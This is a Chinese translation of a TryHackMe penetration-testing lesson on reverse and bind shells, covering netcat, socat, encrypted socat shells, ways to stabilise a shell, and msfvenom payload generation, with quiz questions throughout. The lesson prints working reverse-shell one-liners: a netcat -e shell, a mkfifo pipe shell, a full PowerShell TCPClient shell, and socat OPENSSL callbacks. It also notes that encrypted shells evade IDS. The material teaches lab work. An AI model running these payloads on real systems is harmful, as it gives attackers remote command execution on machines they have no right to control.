第 1 章 前言

這是 tryhackme 滲透測試章節的最后一個房間。原本想谷歌機翻然后我手工看一下,但是感覺這樣練習不了英文,所以全部手工翻譯,實在翻不出來再交給谷歌。手工翻譯不免存在勘誤,建議英文好的讀者朋友們直接去閱覽原文。

第 2 章 shell

權限提升,簡稱提權。在講提權之前,先說說常見的 shell 以及它們的加固。

2.1 shell 是什么?

在我們深入了解發送和接收 shell 的復雜性之前,理解 shell 是什么很重要。

簡單來說,shell 就是我們與命令行環境 (CLI) 交互時使用的工具。例如,Linux 中常見的 bash 或 sh 程序都是 shell 的示例。Windows 中的 cmd.exe 和 Powershell 也是如此。

有時我們可在目標機上進行 RCE,在這種情況下我們希望利用此漏洞來獲取在目標機的 shell。

簡單來說,我們可以強制遠程機器向我們發送對其的命令行訪問(reverse shell),或是我們主動連接到該機器上并獲得該機器的 shell。

reverse shell 就是反向/反彈 shell 的意思 bind shell 就是正向 shell

2.2 工具篇

我們將使用多種工具來接收 reverse shell 和發送 bind shell。

通常我們需要惡意的 shell code 以及和生成的 shell 交互的方法。我們可通過以下幾個工具實現這一點:

1. Netcat:

Netcat 號稱網絡的 “瑞士軍刀” 。它用于執行各種網絡交互,包括在枚舉期間抓取 banner 等。

然而對于我們來說更重要的是它可以用于接收反彈 shell 或者連接到目標機上的 bind shell 的遠程端口。

注:默認情況下,Netcat shell 非常不穩定(容易丟失),所以后文會介紹改進的技術。

2. Socat:

Socat 就像 steroids(英文原意是類固醇) 上的 netcat。它可以做所有相同的事情,甚至更多。Socat shell 通常比 netcat shell 更穩定,從這個意義上說它遠遠優于 netcat。然而 socat 相比于 netcat 有以下兩個問題:

  1. 1. Socat 語法比 Netcat 難
  2. 2. Socat 普及性不如 Netcat。默認情況下,幾乎每個 Linux 發行版都安裝了 Netcat。但它們默認情況下很少安裝 Socat。

這兩個問題都有解決方法,我們將在后面介紹。

Socat 和 Netcat 都有用于 Windows 的 .exe 版本。

3. Metasploit -- multi/handler:

注意,以下有效載荷、有效負載等指的是 payload 的意思。

Metasploit 框架的 auxiliary/multi/handler 模塊與 socat 和 netcat 一樣,提供了用于接收反彈 shell 的功能。由于是 Metasploit 框架的一部分,所以 multi/handler 提供了一種成熟的方式來獲取穩定的 shell,并提供了多種進一步的選項來改進捕獲到的 shell。它也是與 meterpreter shell 交互的唯一方式,也是處理 staged payload (分階段 payload?)的最簡單方式。

4. Msfvenom:

與 multi/handler 一樣,msfvenom 在技術上是 Metasploit 框架的一部分,但是,它作為獨立工具提供。Msfvenom 用于動態生成 payload 。雖然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但這不是本文的重點。

Msfvenom 是一個非常強大的工具,因此我們將在專門的任務中更詳細地介紹它。

除了我們已經介紹過的工具之外,還有許多不同語言的一些 shell 存儲庫。其中最突出的一個是 Payloads all the Things。此外,PentestMonkey Reverse Shell Cheatsheet 也很常用。

除了這些在線資源,Kali Linux 還預裝了位于 /usr/share/webshells 的各種 webshell。 SecLists repo 雖然主要用于單詞列表,但也包含一些用于獲取 shell 的非常有用的代碼。

2.3 Shell 的類型

我們主要對兩種 shell 感興趣:Reverse shell 和 bind shell。

  • Reverse shell(反彈/向 shell) 是指目標被迫連接到您的計算機。在您自己的計算機上,您可以使用上一個任務中提到的工具之一來設置用于接收連接的偵聽器。

反向 shell 是繞過防火墻規則的好方法,因為防火墻規則可能會阻止您連接到目標上的任意端口。

反向 shell 的缺點是當通過 Internet 從一臺機器接收 shell 時,您需要配置自己的網絡以便接受它。(最經典的例子就是使用阿里的云服務器接收反彈的 shell 時要修改安全組規則)

  • bind shell(正向 shell) 是指在目標上執行代碼時,我們直接讓其打開一個附加到 shell 上的監聽器(即端口)。端口將會向互聯網開放,這意味著您可以連接到代碼打開的端口并以這種方式獲得 RCE 的能力。這具有不需要在您自己的網絡上進行任何配置的優點,但可能會被保護目標的防火墻阻止。

一般情況下,反向 shell 更容易執行和調試。以下會給出反彈 shell 和 正向 shell 的示例,請注意它們間的區別。

Reverse Shell 的例子:

讓我們從更常見的反向 shell 開始。以下圖為例,在左側我們有一個反向 shell 偵聽器——這是接收連接的地方。右側是發送反向 shell 的模擬(實際上,這更有可能通過遠程網站上的代碼注入或類似的方式來完成)把左邊的圖片想象成你自己的電腦,把右邊的圖片想象成目標。

在攻擊機器上: sudo nc -lvnp 443

在目標機器上: nc <攻擊機的ip> <攻擊機的端口> -e /bin/bash

image-20230407145552538

請注意,在運行右側的命令后,偵聽器會收到一個連接。當運行 whoami 命令時,我們看到我們正在以目標用戶的身份執行命令。這里重要的是我們正在攻擊機上監聽,并收到了來自目標的連接。

nc 的 -e 選項表示在連接成功后要執行的程序,這里表示連接成功之后把自己的 bash 發送到另一端

bind shell 的例子:

bind shell 不太常見,但仍然非常有用。以下圖為例,在左側同樣是攻擊者的計算機,而右側依然是我們的模擬目標。但是為了稍微調整一下,這次我們將使用 Windows 目標。首先,我們在目標上啟動一個偵聽器——這次我們告訴它連接完畢后執行 cmd.exe。然后,在偵聽器啟動并運行的情況下,我們從自己的機器連接到新打開的端口。

在目標機上: nc -lvnp -e "cmd.exe"

在攻擊機上: nc <目標機ip>

如您所見,這再次讓我們在目標機上執行代碼。請注意,這并非特定于 Windows。這里要理解的重要一點是目標在監聽特定端口,然后我們主動連接到目標的這個端口。

與此任務相關的最后一個概念是交互性。shell 可以是交互式的,也可以是非交互式的。

  • ? 交互式:如果您使用過 Powershell、Bash、Zsh、sh 或任何其他標準 CLI 環境,那么您將習慣于交互式 shell。交互式的 shell 允許您在執行程序后與程序進行交互。例如,采用 SSH 登錄的提示:

在這里您可以看到它以交互方式詢問用戶鍵入 yes 或 no 以繼續連接。這是一個交互式程序,需要交互式 shell 才能運行。

  • ? 非交互式 shell 不會給你那種 “奢侈” 。在非交互式 shell 中,您只能使用不需要用戶交互即可正常運行的程序。不幸的是,大多數簡單的反向 shell 和正向 shell 都是非交互式的,這會使進一步的利用變得更加棘手。讓我們看看當我們嘗試在非交互式 shell 中運行 SSH 時會發生什么:

請注意,whoami 命令(非交互式)執行地很好,但 ssh 命令(交互式)根本沒有給我們任何輸出。

注:交互式命令的輸出確實會出現在某個地方,但是,弄清楚在哪里是您自己嘗試的練習。可以說交互式程序在非交互式 shell 中不起作用。此外, 上圖的 listener 命令是用于演示的攻擊機獨有的別名,是 sudo rlwrap nc -lvnp 443 命令的簡寫方式,將在后續任務中介紹。除非已在本地配置別名,否則它將無法在任何其他計算機上運行。

回答下列問題:

  1. 1. 哪種類型的 shell 會回連到您計算機上的偵聽端口,反向 (R) 或綁定 (B)?
  2. 2. 您已將惡意 shell 代碼注入網站。您收到的 shell 可能是交互式的嗎?(是或否)
  3. 3. 使用 bind shell 時,您會在攻擊者 (A) 還是目標 (T) 上執行偵聽器?

2.4 Netcat

如前所述,Netcat 是滲透測試人員工具包中最基本的工具之一,涉及任何類型的網絡。有了它,我們可以做各種各樣有趣的事情,但現在讓我們關注和 netcat 相關的 shell。

++Reverse Shells++

在前面的任務中,我們看到反彈 shell 需要 shellcode 和一個偵聽器。執行 shell 的方法有很多種,因此我們將從查看偵聽器開始。

使用 Linux 啟動 netcat 偵聽器的語法如下:

nc -lvnp <端口號>

  • -l 用于告訴 netcat 這將是一個監聽器
  • -v 用于請求詳細輸出
  • -n 告訴 netcat 不解析主機名及DNS,在此不過多闡述。
  • -p 表示要監聽的端口。

上一個任務中的示例使用 443 端口。實際上,您可以使用任何您喜歡的端口,只要還沒有服務使用它即可。

請注意,如果您選擇使用小于 1024 的端口,則在啟動偵聽器時需要加上 sudo

使用眾所周知的端口號(80、443 或 53 是不錯的選擇)通常是個好主意,因為這更有可能通過目標上的出站防火墻規則。比如以下命令在 443 端口上打開一個偵聽器:

sudo nc -lvnp 443

然后,我們可以使用任意數量的 payload 連接到以上偵聽器,具體取決于目標上的環境。

++Bind Shells++

如果我們希望在目標上獲得 bind shell,那么我們可以假設已經有一個偵聽器在目標的特定端口上等待我們,我們需要做的就是連接到它。其語法相對簡單:

nc <目標IP> <目標上的特定端口>

在這里,我們使用 netcat 在我們選擇的端口上建立到目標的出站連接。

2.5 加固 Netcat shell

在得到一個 Netcat shell 之后,我們首先應該做什么?

答案是加固我們得到的 shell!

默認情況下,這些 shell 非常不穩定。例如按 Ctrl + C 會斷開 shell。

此外它們還是非交互式的,并且經常有奇怪的格式錯誤。這是因為 netcat shell 實際上是在終端內運行的進程,而不是真正的終端本身。

幸運的是,有很多方法可以穩定 Linux 系統上的 netcat shell。下文我們將介紹三個加固 netcat shell 的方法。

注:Windows 反彈 shell 的加固往往很困難。好在我們下文介紹的第二種技術對此特別有用。

技術 1:Python

我們要討論的第一種技術僅適用于 Linux 機器,因為它們幾乎總是默認安裝 Python。該技術有三個操作步驟:

  1. 1. 首先要做的是在目標機的 shell 上(無論是反向的還是正向的)執行如下命令python -c 'import pty;pty.spawn("/bin/bash")它使用 Python 生成功能更好的 bash shell。請注意,某些目標可能需要指定 Python 版本。如果是這種情況,請根據需要將 “python” 替換為 “python2” 或 “python3”。

命令執行完畢后我們的 shell 看起來會更漂亮一些,但我們仍然無法使用 tab 鍵進行自動補齊,并且 Ctrl + C 仍會終止 shell。

  1. 1. 第二步是在目標機的 shell 上執行 export TERM=xterm 命令。這將使我們能夠訪問諸如 clear 之類的術語命令。
  2. 2. 最后也是最重要的一步,使用 Ctrl + Z 掛起目標的 shell 回到我們的終端并輸入以下命令:stty raw -echo;fg 以上命令做了兩件事情:
  3. 3. 它關閉了我們的終端回顯(這允許我們可以使用 tab 自動補齊以及在 shell 內部輸入 Ctrl + C 終止進程)。
  4. 4. 回到目標機的 shell 上從而完成整個加固 shell 的過程。

下圖是一個完整的示例:

注意到如果 shell 斷開了,那么你的終端上的任意輸入都將不可見(因為之前我們禁用了終端回顯)。不過我們可以輸入 reset 命令修復這一點。

技術 2:rlwrap

rlwrap 是一個程序,簡單來說,它能讓我們在收到 shell 后就立即擁有訪問歷史記錄、tab 鍵自動補齊等功能。但是,如果您希望能夠在 shell 中使用 Ctrl + C,則還需進行一些操作。

Kali 默認沒有安裝 rlwrap,所以首先使用 sudo apt install rlwrap 安裝它。

使用 rlwrap 開啟一個偵聽器的語法很簡單,僅需要在 nc 命令的前面加上 rlwrap 即可。

rlwrap nc -lvnp <監聽的端口>

在我們的 netcat 偵聽器前面加上 “rlwrap” 可以為我們提供一個功能更齊全的 shell。

這種技術在處理 Windows shell 時特別有用。(眾所周知 Windows shell 很不穩定)。在處理 Linux 目標時,可以使用上述講到的技術來加固 shell:

  1. 1. 使用 Ctrl + Z 掛起 shell
  2. 2. 使用如下命令加固 shell 并重新進入。stty raw -echofg

技術 3:Socat

第三種穩定 shell 的方法是以 Netcat shell 為基礎,得到一個更加穩定的 Socat shell。

請記住,此技術僅限于 Linux 目標。因為 Windows 上的 Socat shell 不會比 netcat shell 更穩定。

為了實現這種穩定方法,我們首先需要將一個 靜態的 socat 編譯的二進制文件(一個編譯為沒有依賴關系的程序版本)傳輸到目標機器。

如何上傳文件到目標機器?

一般的方法是在存放 socat 二進制文件的目錄下開啟一個 web 服務器(在攻擊機器上),然后讓目標機訪問該 web 服務器并下載 socat 文件即可。

如果安裝了 python,可以使用以下命令開啟一個 web 服務器:

sudo python3 -m http.server 80

若是 python2 的話,則應輸入以下命令:

sudo python -m SimpleHTTPServer

然后就可以在目標機器的 netcat shell 上下載文件了。

如果 Linux 系統,可以使用 curl 或 wget (wget /socat -O /tmp/socat) 來下載文件。

如果是 Windows 系統,可以使用 Powershell 完成相同的操作。比如使用 Invoke-WebRequest 或 webrequest 系統類,具體取決于安裝的 Powershell 版本(Invoke-WebRequest -uri /socat .exe -outfile C:\\Windows\temp\socat.exe)。

更改終端 tty 大小

使用上述任何技術來改變你的終端 tty 大小是一件很有用的事情。這是您的終端在使用常規 shell 時會自動執行的操作。然而,如果您想使用類似文本編輯器的東西來覆蓋屏幕上的所有內容,則必須在反向或正向 shell 中手動更改終端 tty 大小。

首先,在攻擊機上打開終端運行 stty -a 命令,并記下輸出中 rows 和 columns 的值:

接下來,在您的 reverse / bind shell 中,鍵入: stty raws 和 stty cols  命令 number1、number2 填寫您在自己的終端中運行命令獲得的數字(上圖分別是 45 和 118)。這將改變終端的注冊寬度和高度,從而使得文本編輯器等依賴此類信息準確的程序正確打開。

回答以下問題:

  1. 1. 您將如何將終端大小更改為 238 列?
  2. 2. 在端口 80 上設置 Python3 網絡服務器的語法是什么?

2.6 Socat

Socat 在某些方面與 netcat 相似,但在許多其他方面有根本的不同。考慮 socat 的最簡單方法是將其作為兩點之間的連接器。在這個房間內,這基本上是一個監聽端口和鍵盤,但是,它也可以是一個監聽端口和一個文件,或者實際上是兩個監聽端口。socat 所做的只是提供兩點之間的鏈接——很像 Portal 游戲中的 portal gun!

我們再次以反向 shell 為例:

1. 反向 shell

如前所述,socat 的語法比 netcat 的語法難得多。

下面是 socat 中開啟反向 shell 偵聽器的語法:

socat TCP-L:<端口> -

與 netcat 一樣,這需要兩個點(監聽的端口和標準輸入)并將它們連接在一起。

生成的 shell 是不穩定的,但這將適用于 Linux 或 Windows,并且等效于 nc -lvnp

在 Windows 上,我們將使用以下命令連接上述偵聽器:

socat TCP:: EXEC:powershell.exe,pipes 

“pipes” 選項用于強制 powershell(或 cmd.exe)使用 Unix 風格的標準輸入和輸出。Linux 目標的等效命令如下:

socat TCP:: EXEC:"bash -li"

Bind Shells

在 Linux 目標上,我們將使用以下命令:

socat TCP-L: EXEC:"bash -li"

在 Windows 目標上,我們將為我們的偵聽器使用此命令:

socat TCP-L: EXEC:powershell.exe,pipes

我們使用 “pipes” 參數來連接 Unix 和 Windows 在 CLI 環境中處理輸入和輸出的方式。無論目標是什么,我們都在我們的攻擊機器上使用這個命令來連接到等待的監聽器。

socat TCP:: -

現在讓我們來看看 Socat 的一個更強大的用途:一個完全穩定的 Linux tty 反向 shell。這僅在目標為 Linux 時有效,但要穩定得多。如前所述,socat 是一個非常通用的工具;然而,以下技術可能是其最有用的應用之一。這是新的偵聽器語法:

socat TCP-L: FILE:`tty`,raw,echo=0 

讓我們把這條命令分解成兩部分。像往常一樣,我們將兩點連接在一起。在這種情況下,這些點是一個監聽端口和一個文件。具體來說,我們將當前 TTY 作為文件傳遞,并將 echo 設置為零。這大約相當于使用 netcat shell 時使用的 Ctrl + Z, stty raw -echo;fg 技巧

第一個偵聽器可以連接到任何有效負載;但是,這個特殊的偵聽器必須使用非常具體的 socat 命令來激活。這意味著目標必須安裝 socat。然而大多數機器默認情況下沒有安裝 socat,但我們可以上傳預編譯的 socat 二進制文件到目標上,然后就可以正常執行。特殊命令如下:

socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane

以上命令稍顯復雜,所以讓我們分解一下。第一個部分很簡單——我們要連接到我們自己機器上運行的偵聽器。命令的第二部分使用 EXEC:"bash -li" 創建一個交互式 bash 會話。我們還傳遞參數:pty、stderr、sigint、setsid 和 sane:

  • ? pty 在目標上分配一個偽終端——穩定過程的一部分
  • ? stderr 確保任何錯誤消息都顯示在 shell 中(通常是非交互式 shell 的問題)
  • ? sigint 將任何 Ctrl + C 命令傳遞到子進程中,允許我們在 shell 中終止命令
  • ? setsid 在新會話中創建進程
  • ? sane 穩定終端,試圖 “正常化” 它。

要接受的內容很多,所以讓我們看看它的實際應用。

與往常一樣,在左側我們有一個在本地攻擊機器上運行的偵聽器,在右側我們有一個受感染目標的模擬,使用非交互式 shell 運行。

使用非交互式 netcat shell,我們執行特殊的 socat 命令,并在左側的 socat 偵聽器上接收到一個完全交互式的 bash shell:

請注意,socat shell 是完全交互式的,允許我們使用交互式命令,例如 SSH。然后可以通過設置 stty 值來進一步改進,如上一個任務中所示,這將讓我們使用 Vim 或 Nano 等文本編輯器。如果在任何時候 socat shell 無法正常工作,那么通過在命令中添加 -d -d 來增加詳細程度是非常值得的。這對于實驗目的非常有用,但對于一般用途通常不是必需的。

回答以下問題:

  1. 1. 我們如何讓 socat 監聽 TCP 端口 8080?

2.7 加密的 Socat Shells

socat 的眾多優點之一是它能夠創建加密的 shell —— 反向和正向 shell 都可加密。我們為什么要這樣做?除非您擁有解密密鑰,否則無法監視加密的 shell,因此通常能夠繞過 IDS。

我們在上一個任務中介紹了如何創建基本的 shell,因此這里不再介紹語法。一句話足以說明如何使用加密shell:將原命令中的 TCP 部分換成 OPENSSL 即可。我們將在任務結束時介紹幾個示例,但首先讓我們談談證書。

我們首先需要生成證書才能使用加密的 shell。這在我們的攻擊機器上最容易做到:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt 

此命令創建一個 2048 位 RSA 密鑰和匹配的證書文件,自簽名,有效期不到一年。當您運行此命令時,它會要求您填寫有關證書的信息。這可以留空,或隨機填充。然后我們需要將兩個創建的文件合并到一個 .pem 文件中:

cat shell.key shell.crt > shell.pem

現在,當我們設置我們的反向 shell 偵聽器時,我們使用:

socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 

這將使用我們生成的證書設置一個 OPENSSL 偵聽器。 verify=0 告訴連接不要費心嘗試驗證我們的證書是否已由公認的權威機構正確簽名。請注意,必須在正在偵聽的任何設備上使用該證書。

要返回連接,我們將使用:

socat OPENSSL::,verify=0 EXEC:/bin/bash

相同的技術適用于 bind shell:目標:

socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes 

攻擊者:

socat OPENSSL::,verify=0
  • ? 再次注意,即使對于 Windows 目標,證書也必須與偵聽器一起使用,因此需要為 bind shell 復制 PEM 文件。下圖顯示了來自 Linux 目標的 OPENSSL 反向 shell。和往常一樣,目標在右邊,攻擊者在左邊:

這種技術也適用于上一個任務中介紹的特殊的、僅限 Linux 的 TTY shell —— 弄清楚它的語法將是這個任務的挑戰。如果您正在努力獲得答案,請隨意使用 Linux 練習盒(可部署在房間的盡頭)進行實驗。

回答以下問題:

  1. 1. 使用上一個任務中的 tty 技術設置 OPENSSL-LISTENER 的語法是什么?使用端口 53 和一個名為“encrypt.pem”的 PEM 文件
socat OPENSSL-LISTEN:<53>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0 
  1. 1. 如果您的 IP 是 10.10.10.5,您將使用什么語法連接回此偵聽器?
socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

2.8 常用的 Shell Payloads

有效負載表示 payload 的意思

我們很快就會考慮使用 msfvenom 生成有效負載,但在此之前,讓我們使用我們已經介紹過的工具看一下一些常見的有效負載。

之前的任務提到我們將研究使用 netcat 作為 bind shell 偵聽器的一些方法,因此我們將從它開始。在某些版本的 netcat 中(包括 Kali 位于 /usr/share/windows-resources/binaries 處的 nc.exe Windows 版本,以及 Kali 自身所用的版本:netcat-traditional)有一個 -e 選項,它允許您在連接上執行一個程序。例如一個監聽器: nc -lvnp <端口> -e /bin/bash

使用 netcat 連接到上述偵聽器將在目標上生成一個 bind shell。同樣,對于反向 shell,使用 nc -e /bin/bash 回連將導致目標上的反向 shell。

然而,這并沒有包含在大多數版本的 netcat 中,因為它被廣泛認為是非常不安全的(這很有趣,是吧?)。在幾乎總是需要靜態二進制文件的 Windows 上,此技術將非常有效。然而,在 Linux 上,我們將改為用此代碼創建一個 bind shell 偵聽器:

mkfifo /tmp/f; nc -lvnp <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 

以下段落是對該命令的技術解釋。它略高于這個房間的高度,所以如果你現在看不懂也沒關系——命令本身才是最重要的。該命令首先在 /tmp/f  中創建命名管道。然后它啟動一個 netcat 偵聽器,并將偵聽器的輸入連接到命名管道的輸出。netcat 偵聽器的輸出(即我們發送的命令)然后直接通過管道傳輸到 sh,將 stderr 輸出流發送到 stdout,并將 stdout 本身發送到命名管道的輸入,從而完成循環。

可以使用一個非常相似的命令來發送 netcat 反向 shell:

mkfifo /tmp/f; nc <本地IP> <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 

除了使用 netcat connect 語法而不是 netcat listen 語法之外,此命令實際上與前一個命令相同。

以現代 Windows Server 為目標時,通常需要 Powershell 反向 shell,因此我們將在此處介紹標準的單行 PSH 反向 shell。這個命令比較復雜,這里為了簡單起見就不直接說明了。然而,它是一種非常有用的單行線,可以隨身攜帶:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

為了使用它,我們需要用適當的 IP 和端口選擇替換“”和“”。然后可以將其復制到 cmd.exe shell(或在 Windows 服務器上執行命令的另一種方法,例如 webshell)并執行,從而產生反向 shell:

對于其他常見的反向 shell payload,PayloadsAllTheThings 是一個存儲庫,其中包含多種不同語言的 shell 代碼(通常是用于復制和粘貼的單行格式)。閱讀鏈接頁面以查看可用內容非常值得。

回答以下問題:

  1. 1. 在 Linux 中可以使用什么命令來創建命名管道?
  2. 2. 查看鏈接的 Payloads all Things Reverse Shell Cheatsheet 并熟悉可用的語言。

2.9 msfvenom

Msfvenom:所有和 payload 相關事物的一站式商店

作為 Metasploit 框架的一部分,msfvenom 主要用于生成反向 shell 和正向 shell。同時 msfvenom 也廣泛用于低水平的 exploit 開發,比如在開發一些用于緩沖區溢出的 expolit 時生成十六進制 shellcode。然而,msfvenom 也可以用于 生成多種格式的 payloads,比如 .exe、.apsx、.war、.py 等。

以下簡單地介紹一下 msfvenom:

msfvenom 的標準語法如下: msfvenom -p

例如,為了生成一個 exe 格式的 Windows x64 反向 shell,我們可以使用: msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST= LPORT=

上述命令的四個選項含義如下:

  • ? -f <格式> 指定輸出格式,在案例中是 exe
  • ? -o <文件> 生成的 payload 的路徑和文件名
  • ? LHOST= 指定要回連的 IP
  • ? LPORT= 要回連的本地機器的端口,可以是 0 到 65535 間的未使用的任意值。然而,使用小于 1024 的端口時要 root 權限

++Staged vs Stageless++

現在介紹兩個新概念, staged 反向 shell payloads 和 stageless 反向 shell payloads。

  • ? Staged(分期的) paylodas 分為兩部分發送。第一部分稱為 stager。這是直接在服務器上執行的代碼塊,其會回連到一個處于等待狀態的監聽器,但它本身實際上不包含任意的反向 shell code。那 shell code在哪里呢?當 stager 連接到監聽器時,其會使用連接來加載真正的 payload 并直接執行它,同時會預防 payload 接觸硬盤,因為傳統的反病毒解決方案可能會捕捉到硬盤里的 payload。所以 payload 被分為兩個部分:一個小的、初始的 stager 以及 stager 被激活時下載的更龐大的反向 shell。Staged paylodas 要求一個特別的監聽器,通常是 Metasploit multi/handler。
  • ? Stageless payloads 更加常見。Stageless payloads 是完全自包含的。Stagsless payloads 存在一個代碼塊,當我們執行它時,其會馬上發回一個 shell 給等待中的監聽器。

Stagsless payloads通常更易于使用和捕獲。然而,它們也更加龐大并且更容易被反病毒或入侵檢測程序發現和移除。Staged paylodas 更難以使用,但是 初始的 stager 更加短小,所以有時不會被低效的反病毒軟件察覺。現代防病毒解決方案還將利用反惡意軟件掃描接口 (AMSI) 來檢測由 stager 加載到內存中的 payloads,從而使分階段的 payloads 在該區域的效率不如以前。

++Meterpreter++ 在 Metasploit 主題中要談論的另一個重要的事物就是 Meterpreter shell。Meterpreter shell 是 Metasploit 特有的全功能 shell。Meterpreter shell 完全穩定,這在滲透 windows 目標時非常有用。此外,Meterpreter shell 有許多內置的功能,比如文件上傳和下載。如果我們想要使用 Metasploit post-exploitation 模塊下的任意工具,那么我們就需要使用一個 meterpreter shell。meterpreter shell 的缺點是它們必須被 Metasploit 捕獲。

++Payload Naming Conventions++

當使用 msfvenom時,理解命名系統是如何工作的十分重要。msfvenom 的基本命名約定如下: <操作系統><體系結構>/

舉個例子:

linux/86/shell/reverse_tcp

以上命令會生成一個用于 linux x86 目標的 stageless 反向 shell。但是以上命名約定對于 Windows32 操作系統的目標不太適用,對于這類目標,通常不指定體系結構。比如:

windows/shell_reverse_tcp

對于 64 比特的 Windows 目標,通常指定體系結構為 x64。

以上的例子中所用的 payload 是 shell_reverse_tcp,這表明其是一個 stageless payload。為什么呢?因為 Stageless payloads 用 下劃線表示。這個 payload 的 staged 版本是 shell/reverse_tcp,因為 staged payloads 用斜線來表示。

一個 32 位的 linux stageless Meterpreter payload 如下所示:

linux/x86/meterpreter_reverse_tcp

當我們在使用 msfvenom 時,要注意到的另一件重要的事情是:

msfvenom --list payloads

該命令可用于列出所有可用 payloads,我們可在該命令后拼接上管道符以及 grep 命令來查找特定 payloads 集合。舉個例子:

以上命令會給出 32 位 linux 目標的 neterpreter paylodas 的完整集合。